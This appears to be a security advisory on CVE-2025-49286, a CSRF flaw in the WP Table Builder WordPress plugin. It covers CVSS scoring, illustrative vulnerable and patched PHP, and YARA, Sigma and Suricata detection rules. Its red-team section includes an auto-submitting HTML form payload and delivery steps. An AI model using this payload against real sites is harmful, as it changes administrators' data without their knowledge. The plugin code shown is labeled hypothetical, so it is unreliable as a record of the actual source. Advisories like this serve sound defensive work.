CVE-2025-49286

Executive Summary

CVE-2025-49286 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WP Table Builder WordPress plugin, versions up to and including 2.0.6. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying table settings or creating malicious tables, without their consent. The vulnerability is classified under CWE-352 and has a CVSS score of 4.3 (Medium). As of the latest intelligence, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability resides in the WordPress plugin ecosystem, specifically the WP Table Builder plugin. Since it is distributed via the official WordPress plugin repository, any site running version 2.0.6 or earlier is at risk. The lack of a patch means site administrators must rely on manual mitigation or plugin removal. No known supply chain compromise has been reported, but the unpatched status increases the risk for sites that continue using the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited ability to modify data (e.g., table settings).
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While exploitation requires user interaction, the lack of a patch and the widespread use of WordPress plugins make this a concern for site administrators.

Deep Dive & Mechanics

The vulnerability exists in the WP Table Builder plugin’s administrative interface. The plugin fails to implement proper CSRF tokens or nonces on sensitive actions, such as creating, editing, or deleting tables. An attacker can craft a malicious HTML page or email that, when visited by an authenticated administrator, triggers a forged request to the WordPress admin area. This request could modify table content, change plugin settings, or inject malicious data.

The core issue is the absence of a nonce (number used once) validation on AJAX endpoints or form submissions. WordPress provides built-in functions like wp_nonce_field() and check_admin_referer() to prevent CSRF, but the WP Table Builder plugin does not use them for critical operations.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire plugin version 2.0.6. A hypothetical patch would involve adding nonce checks to all admin-facing actions.

Vulnerable Code (Example):

// In wp-table-builder/admin/class-wp-table-builder-admin.php
function save_table() {
    // No nonce verification
    $table_data = $_POST['table_data'];
    update_option('wp_table_builder_data', $table_data);
}

Patched Code (Hypothetical):

function save_table() {
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'wp_table_builder_save' ) ) {
        wp_die( 'Security check failed.' );
    }
    $table_data = $_POST['table_data'];
    update_option('wp_table_builder_data', $table_data);
}

Exploitation & Lab Setup

Red Team (Attacker)

1. Setup: Create a malicious HTML page that auto-submits a form to the victim’s WordPress admin URL.
2. Craft Payload: The form targets http://victim-site.com/wp-admin/admin-post.php?action=wp_table_builder_save with POST data containing malicious table content.
3. Deliver: Send the HTML page via email or host it on a malicious site. Trick the admin into clicking the link.
4. Execute: When the admin visits the page, the form auto-submits, modifying the table data without the admin’s knowledge.

Example Malicious HTML:

<html>
<body>
<form action="http://victim-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="wp_table_builder_save">
    <input type="hidden" name="table_data" value="malicious_content">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team (Defender)

1. Detection: Monitor for unusual POST requests to admin-post.php with the action parameter set to wp_table_builder_save or similar.
2. Prevention: Implement a Web Application Firewall (WAF) rule to block requests lacking a valid nonce.
3. Response: If exploitation is suspected, immediately deactivate the WP Table Builder plugin and review recent changes to table data.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-post.php with action=wp_table_builder_save and no _wpnonce parameter.
• File: Unexpected modifications to the wp_table_builder_data option in the WordPress database.
• Log: WordPress debug log entries showing failed nonce checks (if patched) or missing nonce errors.

Detection Engineering

YARA Rule

rule CVE_2025_49286_CSRF_WP_Table_Builder {
    meta:
        description = "Detects CSRF exploitation attempts against WP Table Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49286"
    strings:
        $action = "wp_table_builder_save"
        $nonce_missing = "_wpnonce" nocase
    condition:
        $action and not $nonce_missing
}

Sigma Rule

title: CVE-2025-49286 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to admin-post.php with wp_table_builder_save action and missing nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /wp-admin/admin-post.php
        cs-uri-query: action=wp_table_builder_save
    filter:
        cs-uri-query: _wpnonce=*
    condition: selection and not filter
falsepositives:
    - Legitimate plugin updates if nonce is present
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49286 WP Table Builder CSRF Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-post.php"; http.client_body; content:"action=wp_table_builder_save"; pcre:"/^(?!.*_wpnonce).*$/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Deactivate and uninstall the WP Table Builder plugin until an official patch is released.
2. Alternative: Use a different table builder plugin that is actively maintained and patched.
3. WAF Rule: Deploy a Web Application Firewall rule to block POST requests to admin-post.php that lack a valid nonce.
4. User Education: Train administrators to avoid clicking suspicious links and to verify the authenticity of admin actions.
5. Monitoring: Enable WordPress debug logging and monitor for unusual admin actions.

Valters IT – Securing digital ecosystems with precision.